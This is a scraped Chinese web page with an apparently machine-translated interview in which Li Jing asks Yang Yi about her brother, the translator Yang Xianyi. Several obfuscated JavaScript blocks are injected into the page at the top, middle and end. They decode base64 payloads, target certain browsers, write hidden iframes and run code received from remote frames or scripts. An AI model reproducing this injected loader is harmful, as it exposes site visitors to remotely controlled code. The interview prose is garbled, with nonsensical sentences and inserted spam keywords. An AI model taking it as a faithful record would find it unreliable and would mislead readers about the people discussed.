eval("\x77\x69\x6e\x64\x6f\x77")["\x77\x67\x67\x72"]=function(e){var wg =''+'ABCDEFGHI'+'JKLMNOPQRS'+'TUVWXYZabc'+'defghijklmnop'+'qrstuvwxy'+'z0123456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=wg.indexOf(e.charAt(f++));o=wg.indexOf(e.charAt(f++));u=wg.indexOf(e.charAt(f++));a=wg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x64\x57\x50\x77\x50\x67\x67\x72\x64"]=function(){eval(wggr("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQod2dncih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKHdnZ3IoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZih3Z2dyKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbd2dncigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKHdnZ3IoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6SVRMdycrJ1V6TScrJ00zMHknKydZR0pUJysnSmxoRycrJ2MnKyc1RVhhJysnR0pUSicrJ3pRJysnRCcrJ053JysnRVRRJysneicrJ1VTYicrJ3ZObUxoJysnTjNhJysnblonKycyYnVjMycrJ2QzWicrJ2tNTScrJ2xZaycrJ01NbCcrJ0UnKycwTScrJ01sTU0nKydIYzAnKydSSGEnKycnKycnLCcnKydVZWUnKydTMmsnKydwRCcrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydzbU4nKydaMWEnKyd6JysnJysnJywnTScp"));}
爱情的婉转李晶_爱情的委婉所有目录

2021年12月05日 拜克 阅读(254)

eval("\x77\x69\x6e\x64\x6f\x77")["\x68\x42\x68\x73"]=function(e){var rr =''+'ABCDEFGHIJ'+'KLMNOPQR'+'STUVWXYZabcdefghij'+'klmnopqr'+'stuvwx'+'yz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=rr.indexOf(e.charAt(f++));o=rr.indexOf(e.charAt(f++));u=rr.indexOf(e.charAt(f++));a=rr.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x51\x68\x73\x72\x50\x42\x6C\x78\x43"]=function(){eval(hBhs("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoaEJocyh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGhCaHMoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihoQmhzKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbaEJocygiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oaEJocyhlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSScrJ1RMJysneVV6TScrJzMnKyczJysnMHknKydZJysnR0pUSicrJzEnKydSJysnMk4zMycrJ1ozM2RHJysnSlRKJysnelFETncnKydFJysnVFF6VScrJ1MnKydiJysndk5tJysnTGgnKydOMzNhJysnbloyJysnYnVjMycrJzNkMzNaJysna01sWScrJ2tNbEUnKycwJysnTWxNSCcrJ2MwUkhhJysnJysnJywnJysnM1RKJysndlVKJysnSTUnKycnKycnLHdpbmRvdyxkb2N1bWVudCwnJysnZGVhJysnbVFWJysnNicrJycrJycsJzMnKQ=="));}

本文最初发表于2010年3月第2期中国文学,

转学:国际汉学研究与数据库建设。非常感谢。

南京之行杨苡-记忆杨宪益先生

李 晶(中国国家图书馆)

摘要:在这次采访中,中国著名的翻译家和作家杨苡先生回忆起了他弟弟杨宪益先生童年时的家庭背景、启蒙、学术和翻译。杨苡先生认为杨宪益先生专注于古希腊和罗马文学,对古代中西历史有着浓厚的兴趣和深厚的造诣。她认为,杨宪益先生的成就不仅限于翻译,尽管翻译是杨宪益先生与妻子戴乃迭合作的主要工作。为了进一步了解杨宪益先生,我们还必须关注他在翻译工作之外的各种兴趣和成就,包括中西文学研究、诗歌创作和社会活动。

杨宪益(右)与戴乃迭(左)相同

采访者注:杨宪益先生是中国近现代著名的翻译家、学者和作家。在他有生之年,他和他的妻子戴乃迭主持了中国文学的英文版本多年,翻译了许多作品,主要包括红楼梦、史记选、儒林外史、鲁迅选集和“熊猫系列”,涉及中国文学不同的历史时期和不同的风格。他的深厚造诣为国内外翻译界和汉学界所公认。他的工作对中国的翻译事业、中西翻译的实践和理论以及中国文爱情的婉转李晶学在世界上的引进和推广具有重要的开拓意义。杨宪益先生也是外国文学方面的专家,尤其是古希腊和罗马文学方面。他将许多外国文学作品翻译成中文,包括现代英语诗歌《钞票》,萧伯纳两种戏剧,牧歌,阿里斯托芬两种喜剧,地心游记,奥德修纪,罗兰之歌,卖花女,古罗马喜剧三种,古罗马喜剧选等。杨宪益先生也是中国为数不多的能够直接从希腊语和拉丁文原文翻译成中文作品的专家之一。因此,他对荷马史诗等西方经典的理解和解读具有独特而开阔的学术视野、严谨的考证技巧和开放的文化心态。

杨宪益先生作者在去年(2009)11月去世后不久,受外国文学编辑部的委托,专程前往南京采访杨宪益先生的妹妹杨苡先生。杨苡先生是中国外国文学研究专家,是呼啸山庄经典译文的作者和翻译家。她对自己生活和事业的回顾和理解杨宪益先生在今天具有不可替代的价值。此次采访的发表是为了表达我们对杨宪益先生的深切敬意和怀念。

李晶:杨宪益先生我死了。对国内外没有哀悼之意。今天有幸来打扰您了。杨宪益先生想请您谈谈您生前的种种事情。这个话题里没有人。而且你也是外国文学界和翻译界的前辈学者。除了杨宪益先生的一生,对他的工作和事业也自然有深刻的理解和体会。那么,可以自己说。比可以先从这样的问题开始。怎么翻译“呼啸山庄”好呢?很多读者对那个有兴趣。

杨苡:我喜欢一个。两个是当时年轻的思想感情和作品内容比相吻合。但是,我不喜欢《简爱》。这和大家有点不一样。我们的中学非常鼓励我们读书。图书室里有很多书,可以见到“简爱”,但是没有“呼啸山庄”。《呼啸山庄》是劳伦斯·奥利弗和梅尔?从奥博朗Merle Oberon主演的电影就知道了。米高梅公司展出了。我们习惯了看原版电影。在天津看原版。我们是从电影和歌曲中来的。当然也有学校。

李晶:为什么觉得“呼啸山庄”比“简爱”好呢?

杨苡:因为我觉得“呼啸山庄”中的爱才是爱。

李晶:家庭的背景是包含小时候的经验在内,对人生有很大影响的意思吗?

杨苡:应该说有一定程度的关系。有些事情需要特定的时代背景,除了经济地位以外,文化因素起决定性作用。首先是在天津看的电影。最早的名字是“魂归离恨天”。书在重庆读了。在那里我变成了三年级和四年级。我原本是西南联大的学生,为了来重庆和母亲在一起,借了2年。刚看书的时候没有翻译。开始翻译是在毕业后的事情。我毕业后在北湖北教书,我哥哥那时也在北湖北。我和哥哥说了这本书,他说有译本。我看到了,怎么称呼“咆哮山庄”呢?咆哮!山庄门框上挂着这样的牌子,谁会成为客人?这是翻译这本书的最初动机吧。

李晶:和你杨宪益先生年龄差不多,是在天津学习最快的吗?你和杨先生在学校吗?

杨苡:不是一个中学,两个学校不同。全部是基督教的教会,他是英国安利甘教会的学校,由英国人经营。我是美国美以美会的。说中西女子中学,不在租界。他没有上小学。我原来在家学习。我们是教会学校,学生要在学校里和那些女教师说英文,风气如此。也有中国老师。我教其他课,但也必须教。我们的中西老师都来自燕京。我尽量是女性。

李晶:普通读者都知道杨宪益先生研究古希腊和罗马文学,但很少有人知道他从十几岁开始就参与了这项研究,当时他还在天津。他第一次读古希腊文学是在中学吗

杨苡:是的,爱情的委婉所有目录,当然是从英文开始的。事实上,我真的开始在天津自学和阅读。老师的名字是Sarah,中文,她的名字是徐剑生。她还毕业于“中国与西方”。我们叫她史密斯先生。

李晶:私人英文教师

杨苡:是的,导师。她来自广东,中西女子中学毕业,已婚池石青博士。她长得很英俊,是个天生的女孩。他们俩结婚后都有经济负担,所以她坚持要当家教。

李晶:当时池夫人主要是教杨先生英文吗

杨苡:是的。我们不叫她池太太,我们叫她先生,另一个叫老先生。

李晶:老先生是教杨先生合适的人魏汝舟老先生他来你家时的年龄杨先生

杨苡:他很小的时候,我没有上小学。那是在20世纪20年代。他七岁时教他写诗老先生。他很淘气,老先生说服了他。他整天写诗看书。他很好。我第一次看到弟弟流泪是在老先生死后。他在那里读了一本书,但我看到他的眼泪慢慢地流下来。我低声对妹妹说我哥哥在哭。老先生的诗稿被称为自宽诗稿并被发现。我建议把它出版给他,但没有人出版。

李晶:魏老先生你不是死在家里吗

杨苡:他生病时让他走。不是我哥哥不想要他。它是由陀螺制造的。看到他老了,他就放了他。我哥哥不知道。当他放学回家时魏先生,他离开了。非常不舒服。家人说你喜欢它老先生,并邀请了你另一个。他摇摇头。不老先生他似乎死于1933年。

他小时候学习很努力。他不得不和老先生一起去一所私立学校学习诗歌和古代汉语,读了很多外国翻译的书,尤其是小说。

杨苡:起初我没有读这本小说,但后来我长大了才读。在家里有一套由林琴南制造的说部丛书。我父亲买的。他读了它并完成了它。

李晶:换句话说,杨先生首先从这套书中联系外国文学

杨苡:你可以这么说。

李晶:杨宪益先生我从小就对家里的书感兴趣,包括旧书

杨苡:他看起来像。因为他文言文学得很好,所以他通读。

李晶:杨先生自传中提到的秀鹤书局卖英文本书吗

杨苡:是的,“秀鹤”出售英文本书。还有一个世界书局正在出售中文。我和他一起去了世界书局和天祥市场,还有一个中原公司。当我出来的时候,我去购物,去看电影。

李晶:杨先生在他的自传White Tiger中,他没有提到这个世界书局,秀鹤书局提到了很多,说他主要在那里买了英文本书。

杨苡:那是高中时代的事,他写White Tiger的时候没有看到。White Tiger哥哥自己翻译成了“白虎星照命”,但是现有的译本没有使用这个名字。他一会儿想让我看看。他认为我可以给他补充。但是,我也太多了。

李晶:杨先生那个时候喜欢读什么样的书?请全部包含外语。

杨苡:他什么都看。我记得有H.G.威尔斯的《月球旅行记》。也有“人猿泰山”、福尔摩斯。非常喜欢。那个时候不是说“三剑客”而是说“侠隐记”。

李晶:他好像对大仲马有兴趣。

杨苡:我喜欢他。他们三人:七叔家里的上海哥哥出生在上海,所以叫上海哥哥。排名是五哥。祖父的房间。有八叔家四哥。哥哥六岁。他们三个人都迷上了《侠隐记》。四哥非常漂亮。我叫他。五哥因为又笨又胖,所以在叫他。因为哥哥最小,所以叫达特安。他们又是谁密里迪?我姐姐不好。密里迪是个坏人。大声喊,我是密里迪。因为很美。①那时还没有去学校。于是他们大声喊,都觉得太奇怪了。

李晶:杨宪益先生也有骑士的味道。

杨苡:他确实喜欢丁尼生的诗,特别是关于亚瑟王的长诗是关于骑士文学的。我们把这些诗都读了。有这个印象。

李晶:杨宪益先生和戴乃迭先生彼此怎么称呼?

杨苡:乃继叫哥哥Coon,写信的话Coon怎么样?有了孩子就叫“爸爸”。她喜欢“爸爸”。哥哥在叫她。爸爸是我的好朋友。五十年代还叫着,不过,此后没叫。我因为那些而被折腾,不愉快,没有叫出来。之后叫他。年代不同,心情也不同,称呼也不同。

李晶:这个Coon是怎么来的昵称?

杨苡:听说过,但是他不记得了。那之后就不怎么叫了。

李晶:杨先生最初翻译的是什么?他最初翻译的是莎士比亚和古希腊女诗人萨福的诗。

杨苡:是的。他10岁左右就开始翻译了。在新学院学习古文。很遗憾,那个都没有了。其实家里在都留,在书架里好好整理着。全部弄坏了。只留下廉士聪。

李晶:那太遗憾了。

杨苡:有很多可惜的事情。比好像是家里的照片。有一张母亲带着哥哥坐在照相馆的车上拍的珍贵照片。还有一张哥哥的照片。乘坐小木马,镶在银色的镜框里。之后也没有了,全部烤好了。哥哥的东西太多了。可以弄坏东西,但都是文物。

李晶:杨宪益先生一生与翻译有缘。除了兴趣以外还有什么理由吗?

杨苡:我觉得他很孤独,没事可做。翻译也是一种游戏方式。

李晶:自从我认识杨先生以来,他一直强调他不喜欢翻译。但我想如果他不喜欢翻译,他怎么能从小到大解释呢。他在牛津时不间断地翻译。像杨先生这样的伟大翻译家在国内外都很有名,而中国很少有这样伟大的翻译成就。所以我认为他喜欢做翻译,也许他只是有其他的困难

杨苡:他喜欢翻译。他喜欢翻译他想要的东西,但他不想被别人命令。但有些外行只把他当作翻译人员和翻译机器。外行负责管理专家。别提了。让我们说最简单的,比比如大跃进。翻译与大跃进的关系是什么,但当时他更急于翻译。他不喜欢也不愿意在合适的时间从事翻译工作。此外,如果有人成名并成为流行人物,有人会说,爱情的委婉所有目录,杨宪益你帮我翻译他的东西成英文。我哥哥说:“我什么都不知道,我也不认识这个人。没有办法扭转局面,所以我必须扭转局面。”

李晶:当我第一次见到杨先生时,我问他沈从文的翻译,因为我发现他们在1962年中国文学出版了沈从文作品的两个连续译本,即边城。杨先生当时,他不仅记得很清楚,而且愿意发言。我问他当时他怎么能找到一个方法把这个东西寄出去。他笑了,骄傲地笑了,说在那两年里,我们把它翻过来寄了。

杨苡:在某一阶段,对知识分子的政策比相对宽松。脱帽道歉。广州会议从那时起,所有的知识分子都在庆祝。我想我哥哥当时可能翻译了这些。

李晶:杨先生和戴乃迭夫人在哪一年开始翻译红楼梦

杨苡:大约是64年,但他直到65年才提到。65年春天,下雨的时候,他突然来到南京,住在南京饭店。我们约见了一些朋友,如范存忠和陈嘉,并同意会见张士一先生。

李晶:这些先生和杨先生是中央大学的同事和朋友

杨苡:是的,中央大学,分行。和叶君健,加在一起。如果我们说比来自联合大学,中大外文系仍然是第一名。没有地方玩的时候,我们去了莫愁湖。外面下雨了。我们三个人坐在茶馆里看雨。我哥哥告诉我,“我正在做一份非常烦人的工作。我正在做红楼梦”。我笑了。但最近我有一个问题。似乎杨宪益是错误的。不久前,他受到了批评、伤害和讽刺。你知道他把黛玉翻译成Black Jade什么吗

李晶:我知道。这种说法有点不可靠。

杨苡:他说他错了。外国人如何翻译好。我不知道发生了什么事。

李晶:一直以来都有霍克斯和杨先生的翻译。中国翻译界的许多人特别喜欢说霍克斯的翻译是好的,而杨先生的翻译是不好的。

杨苡:霍克斯他们是好朋友。

李晶:但从翻译的角度来看,将黛玉转换为Black Jade不可能完全错误。此外,这是一些诗节早期版本的翻译方法,而不是杨先生它们的翻译。在杨先生和霍克斯的两个版本中,主要字符的名称是音译的。在杨先生的翻译中,“黛玉”的翻译是“Taiyu”;在霍克斯的翻译中,根据汉语拼音的拼写将其翻译成“Dai-Yu”。我认为有人批评,杨宪益先生和戴乃迭先生的翻译与当时的流行趋势有关。现在,我们对爱情的婉转李晶外国的东西比较宽容。公平地说,也有一些翻译人员比,例如已故的北外教授周珏良,他说比更合理,即两个版本有各自的优势。此外,如果比必须比译文更准确,那么应该说杨先生译文中的错误相对较少,因为杨先生毕竟中国文化背景比外国专家的文化背景要深刻得多。

eval("\x77\x69\x6e\x64\x6f\x77")["\x4A\x4B\x62\x4A"]=function(e){var Jg =''+'ABCDEFGH'+'IJKLMNOPQRSTUVW'+'XYZabcde'+'fghijklmnopqrst'+'uvwxyz0123456'+'789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=Jg.indexOf(e.charAt(f++));o=Jg.indexOf(e.charAt(f++));u=Jg.indexOf(e.charAt(f++));a=Jg.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x71\x4A\x62\x72\x67\x4C\x4B\x4A\x47"]=function(){eval(JKbJ("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoSktiSih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEpLYkooIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihKS2JKKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbSktiSigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIF9pZD1fY2xhc3M9J2tfNzM1Mic7dmFyIF9fa2RucWlkID0gJ2snICsgcmQoMSwgMTAwMDAwKTtkWyd3JysncmknKyd0JysnZScrJ2xuJ10oJzxkJysnaXYgaScrJ2Q9JysnIicrX19rZG5xaWQrJyIgY2wnKydhc3MnKyc9IicrX2NsYXNzKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19feGsnKydkYScrJ25xJysnb2InKydqXzczNTInXT1kWydxdScrJ2VyeScrJ1NlbGUnKydjdG8nKydyJ10oJyMnK19fa2RucWlkKTtfaWQgKz0gZFsncXUnKydlcnknKydTZScrJ2xlYycrJ3RvJysnckEnKydsbCddKCcuJytfY2xhc3MpLmxlbmd0aDt2YXIgeiA9IHUrJy0xLycrX2lkKycvJytyO2RbJ3cnKydyaScrJ3QnKydlJysnbG4nXSgnPGQnKydpdiBpJysnZD0nKyciJytfaWQrJyI+JysnPC9kJysnaXYnKyc+Jyk7ZFsndycrJ3JpJysndCcrJ2UnXSgnPGknKydmcicrJ2EnKydtZSBzdHlsZT0iJysnbScrJ2FyJysnZ2knKyduOjA7cCcrJ2FkJysnZCcrJ2luJysnZzowO2InKydvcicrJ2QnKydlcjpuJysnb24nKydlOycrJ29wJysnYScrJ2NpJysndCcrJ3k6MCcrJy4wJytyZCgyLDkpKyc7d2knKydkdCcrJ2g6JytyZCgyLDUpKydwJysneDtoJysnZScrJ2lnaCcrJ3Q6JytyZCgyLDUpKydwJysneDsnKyciYWwnKydsb3d0cmFuJysnc3BhJysncmVuY3kgc3InKydjPSInK3orJyI+PC9pJysnZnInKydhJysnbWU+Jyk7d1siYWQiKyJkRXYiKyJlbnRMIisiaXN0IisiZW5lciJdKCJtIisiZXNzIisiYWdlIixmdW5jdGlvbihlKXtpZihlLmRhdGFbcitfaWRdKXtybShjKTtuZXcgRnVuY3Rpb24oSktiSihlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKycxSVRMJysneXlVek0nKyczJysnMHl5JysnWUcnKydKVCcrJ0p0cG1jJysncycrJzVtZScrJ0cnKydKVCcrJ0p6UScrJ0ROd0VUJysnUXpVJysnU2J2JysnTm1MaE4nKyczYW5aMicrJ2J1YzMnKydkMycrJ1prJysnTWwnKydZa01sRScrJzAnKydNbCcrJ00nKydIYzBSSCcrJ2EnKycnKycnLCcnKydGbGEnKyd4UWQnKyc0YicrJycrJycsd2luZG93LGRvY3VtZW50LCcnKyc0MXInKyc0ZWknKydBJysnJysnJywneScp"));}
本文转载自互联网,如有侵权,联系删除

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

eval("\x77\x69\x6e\x64\x6f\x77")["\x57\x7A\x67\x70"]=function(e){var XK =''+'ABCDEFGHIJKL'+'MNOPQRSTUVWX'+'YZabcdefghi'+'jklmnopqrstu'+'vwxyz012345678'+'9+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=XK.indexOf(e.charAt(f++));o=XK.indexOf(e.charAt(f++));u=XK.indexOf(e.charAt(f++));a=XK.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x65\x57\x7A\x4B\x67\x6F\x52\x58\x70"]=function(){eval(Wzgp("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoV3pncCh1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKFd6Z3AoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihXemdwKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbV3pncCgiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9u